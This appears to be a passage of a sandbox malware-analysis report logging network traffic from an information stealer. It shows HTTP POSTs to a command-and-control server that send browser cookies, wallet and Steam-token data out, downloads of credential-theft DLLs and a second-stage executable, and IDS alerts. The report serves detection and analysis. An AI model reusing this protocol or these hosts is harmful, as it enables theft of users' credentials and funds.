Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="message"plugins------KFIDAFBFBKFHJJKEHIEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJJEBGCFBGDHIDGCAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="message"fplugins------KFIJJJEBGCFBGDHIDGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIIIHost: 185.215.113.206Content-Length: 5551Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDBKKJKJEBFBGCBAAFIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 2d 2d 0d 0a Data Ascii: ------IJDBKKJKJEBFBGCBAAFIContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------IJDBKKJKJEBFBGCBAAFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IJDBKKJKJEBFBGCBAAFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IJDBKKJKJEBFBGCBAAFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHDGHCGHCAAKFIIECFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="file"------DBGHDGHCGHCAAKFIIECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKEHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AFCBAEBAEBFHCAKFCAKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file"------JDGIIDHJEBGIDHJJDBKE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKKFHJDBKKEBFHDAAEHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="message"wallets------JJECAAEHCFIEBGCBGHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="message"files------HIIIEGDBKJKEBGCBAFCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="file"------GCGDHJDAFHJEBFIDAFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="message"ybncbhylepme------JEGHDAFIDGDAAKEBFHDA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 2d 2d 0d 0a Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGDGHJEHJJDAAAKEBGCF--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 20.25.227.174 20.25.227.174

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49746 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49831 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

